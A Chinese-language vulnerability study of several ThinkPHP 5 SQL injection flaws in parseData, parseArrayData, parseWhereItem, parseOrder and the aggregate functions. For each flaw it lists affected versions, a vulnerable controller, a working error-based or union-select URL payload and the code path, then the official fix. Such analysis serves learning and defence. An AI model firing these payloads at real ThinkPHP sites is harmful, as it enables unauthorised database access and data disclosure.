以下复现均需要在application/database.php 文件中配置数据库相关信息,并开启 **application/config 中的 ** app_debug 和 app_trace
通过以下命令获取测试环境代码:
composer create-project --prefer-dist topthink/think=版本 tpdemo
将 composer.json 文件的 require 字段设置成如下,之后执行一次 composer update
"require": { "topthink/framework": "漏洞版本" }
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生(insert 和update)注入,本文以insert注入为例。
洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
<?php namespace app\index\controller; class Index { public function index() { $level=input("level/a"); // $data=db("users")->where("id","1")->insert(["level"=>$level]); $data=db("users")->where("id","1")->update(["level"=>$level]); dump($data); } }
访问http://yoursite/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1
即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)
我们直接跟进到insert
继续跟进$this->builder->insert
继续跟进$this->parseData
因为我们是数组所以进入这里,然后没有任何的过滤导致直接赋值给$result[$item]
然后我们这三种case都可以造成sql注入
但是熟悉tp3的师傅们都熟悉。I函数
接受的时候会有htmlspecialchars
和 think_filter
的过滤处理
tp5一样也是有的filterExp
,会将我们EXP
=>EXP空格
因此就匹配不上了
回到library/db/Buider.php
中然后返回的sql语句结果为,从而造成SQL注入。
INSERT INTO `users` (`level`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1)
最后来一张攻击总结流程【图来自七月火前辈】
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生( update 方法注入)
影响版本:5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)
<?php namespace app\index\controller; class Index { public function index() { $level=input("level/a"); $data=db("users")->where("id","1")->update(["level"=>$level]); dump($data); } }
访问http://yoursite/index.php/index/index?level[0]=point&level[1]=1&level[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&level[3]=0
即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)
我们直接到library/think/db/
Query类的update方法
我们继续跟进Connection 类的 update 方法,该方法又调用了 $this->builder 的 update 方法。
我们直接跟进吧
我们又看到parseData
方法。5.0.19的SQL注入就是在这里产生的。我们跟进去看一下
parseArrayData方法代码
protected function parseArrayData(Query $query, $data) { list($type, $value) = $data; //$data是我们传入的数组 switch (strtolower($type)) { case 'point': $fun = isset($data[2]) ? $data[2] : 'GeomFromText'; $point = isset($data[3]) ? $data[3] : 'POINT'; if (is_array($value)) { $value = implode(' ', $value); } $result = $fun . '(\'' . $point . '(' . $value . ')\')'; break; default: $result = false; } return $result; }
没有任何的过滤将我们的恶意代码拼接了起来,所以可以构造出很多的payload
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
$result = $data[2] . '(\''. $data[3].'('.$data[1].')\')';
经过str_replace()于是我们的SQL语句就是
UPDATE `users` SET `level` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `id` = :where_AND_id
官方比较暴力的就直接删除了default语句块,并直接删除了ParseArrayData
方法。
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生(select 方法注入)
漏洞影响版本: ThinkPHP<5.0.10 [外面都说的是=5.0.10,具体原因后面会说]
<?php namespace app\index\controller; class Index { public function index() { $username = input('username/a'); $data = db('users')->where(['username' => $username])->select(); var_dump($data); } }
访问http://yoursite/index.php/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
老样子因为漏洞不在where所以直接来到select方法
进入$sql = $this->builder->select($options)
再进入parseWhere
方法中的$this->buildWhere->parseWhereItem
。
这里代码太多我就截取关键点说一下
因为$value是array可控,没有过滤。所以导致拼接造成我们的SQL注入。
最后用七月火师傅的图来总结一下
官方修复在Request.php 文件的 filterValue 方法中,过滤掉 NOT LIKE 关键字[图来自七月火师傅]
下图是七月师傅所述的
七月火师傅在漏洞修复说的是5.0.10以前是不存在的是因为他把in_array
搜寻的东西搞错了
5.0.9复现过程
所以我认为关键点在这里
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生( select 方法注入)
漏洞影响版本: ThinkPHP5全版本 。
<?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username'); $data = db('users')->where('username','exp',$username)->select(); var_dump($data); } }
介绍一下where中的exp吧
例如下面两条语句是完全相等的。
$map['username'] = array('in','admin,r0ser1');
$map['username'] = array('exp',' IN (admin,r0ser1) ');
访问http://yoursite/index.php/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)%23
即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)
因为都是parseWhereItem 出现的问题上面一文分析过了一些点,我们这次只看关键点。
官方无修复,并不承认这是一个漏洞认为这是他们提供的一个功能。
漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。
<?php namespace app\index\controller; class Index { public function index() { $orderby = request()->get('orderby'); $result = db('users')->where(['username' => 'R0ser1'])->order($orderby)->find(); var_dump($result); } }
访问http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的)
漏洞出现在order嘛那我们直接看order函数。截取关键部分
public function order($field, $order = null) //$field是我们传入的值 { if (!isset($this->options['order'])) { $this->options['order'] = []; } if (is_array($field)) { //传入的是一个数组 进行合并然后赋值给$this->option $this->options['order'] = array_merge($this->options['order'], $field); } else { $this->options['order'][] = $field; } return $this; //返回this this包含了$field }
然后再进入find函数,在 Connection 类的 find 方法中调用 Builder 类的 select 方法来生成 SQL 语句。相信大家对 Builder 类的 select 方法应该就不陌生了。前几篇分析文章中都有提及这个方法。这个方法通过 str_replace 函数将数据填充到 SQL 模板语句中。这次我们要关注的是 parseOrder 方法,这个方法在新版的 ThinkPHP 中做了代码调整,我们跟进。
在 parseOrder 方法中,我们看到程序通过 parseKey 方法给变量两端都加上了反引号。然后直接拼接字符串返回没有任何过滤
导致我们最终的SQL语句就是
SELECT * FROM `users` WHERE `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1
[七月火前辈总结]
官方pass掉了了)
和#
,进行了修复。
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
不同版本 payload 需稍作调整:
5.0.0~5.0.21、 5.1.3~5.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
// 这里用5.0.10复现学习 <?php namespace app\index\controller; class Index { public function index() { $count = input('get.count'); $res = db('users')->count($count); var_dump($res); } }
聚合函数如下
访问 http://yoursite/index/index/index?data=id),(updatexml(1,concat(0x7,user(),0x7e),1)%23
链接,即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 报错信息的,当然我们也可以构造其他的语句)
例如延时注入等
我们直接到count方法这里
我们发现$this->value(里面的东西没有任何的过滤)直接拼接起来传递给value方法我们跟进看一下
跟到$this->builder->select方法如下
$this->parseField
$this->parseKey
返回之后都赋值给array数组,然后再通过$fieldsStr = implode(',', $array)
又把我们数组给拼接成字符串最终返回的语句如下
SELECT COUNT(id),(updatexml(1,concat(0x7,user(),0x7e),1)) AS tp_count FROM `users` LIMIT 1
最后放一个七月火师傅的总结【最后有七月火师傅的链接,大家可以看七月火师傅的。我也是跟着学习】
官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。
为什么说是鸡肋注入,因为TP5使用PDO查询。将参数与查询语句分离导致我们这个注入不支持子查询。就只能利用报错注入爆出一些内置函数。
这里就不复现了。下面会放P牛的那篇文章,这里就写一写我对这个鸡肋漏洞的思考吧。
除了这一个洞,上面的所有SQL注入都是可以报数据的。当然我们不能用XPATH来爆,不然就会提示。
仅仅支持常量。我们去wireshark发现在第一步预处理已经报错不走了。
常量?何为常量,广义来讲也就是不变的量。用P牛的话来讲
预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。
因为像user() database()这就是常量因为他是库函数。
那我们是否可以不用XPATH来爆呢。他不是提示Only constant XPATH queries are supported
当然是可以的,他回进行预处理->绑定->执行->报错
那这个洞是到底可以不可以呢?
提示的是参数为定义。那是哪一步出的问题呢?
进入$this->query->bind发现赋值给this返回了
回到Query.php中$bind = $this->getBind();
// 获取参数绑定
发现又返回给了bind后面预处理之后的调用了bind。
执行的时候又获取bind当我们看wireshark或许就可以发现答案
所以到bind时候就会报错。报参数未定义。因为这个漏洞我们利用的就是IN这里所以要加,
or)
等
七月火前辈:https://github.com/Mochazz/ThinkPHP-Vuln
P牛:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html